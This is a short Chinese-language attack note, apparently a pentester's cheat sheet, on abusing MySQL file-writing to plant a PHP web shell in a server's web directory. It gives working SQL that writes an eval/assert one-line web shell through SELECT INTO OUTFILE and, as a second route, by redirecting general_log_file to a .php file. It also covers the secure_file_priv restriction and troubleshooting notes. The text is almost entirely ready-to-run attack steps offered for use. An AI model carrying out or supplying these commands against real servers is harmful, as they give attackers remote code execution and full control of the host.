【MySQL】写文件到服务器 web目录

写入文件 1 - 简单的尝试

select '<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/phpStudy/WWW/cmd.php'


可能报错：
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在mysql中使用secure_file_priv配置项，对数据导入导出的限制。

导出数据表
把mydata.user表的数据导出来：
select * from mydata.user INTO OUTFILE '/home/mysql/user.txt';

mysql的官方:

--secure-file-priv=name Limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() to files within specified directory

限制导出导入文件到特定目录，其具体用法：

# 限制mysqld的导入和导出，完全禁止出。
mysqld --secure_file_prive=null


# 限制mysqld的导入和导出，只能在特定目录 /tmp/之下
mysqld --secure_file_priv=/tmp/


# 不限制mysqld的导入和导出
在文件/etc/my.cnf中不写 --secure_file_priv

写入文件 2 - 通过general_log和general_log_file

--secure-file-priv

general log简介：
mysql：打开general log选项，所有的查询语句都在general log文件中以可读的方式得到
（这样general log文件会非常大，所以默认是关闭的！有的时候为了查错等原因，会暂时打开general log）

即general_log_file会记录所有的查询语句，以原始的状态来显示。

写入原理：
将general_log开关打开，语句指定general_log_file为1.php文件，则查询语句的结果 全部写入到general_log_file指定的文件1.php

执行语句：

# 查看genera文件配置情况
show global variables like "%genera%";

#查看有读写权限的目录
show global variables like ‘%secure%’;

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/upload/1.php';
SELECT '<?php assert($_POST["cmd"]);?>';

大部分都好用

有一次实测失败了：general_log 可写到目录home或tmp 但web根目录写不了
尝试写web目录的子目录（比如img. upload）
改了log file路径之后 general log就神奇般的自动从ON变为OFF了
再改回ON,下面的log路径就自动变回去。

# 关闭general_log
set global general_log=off;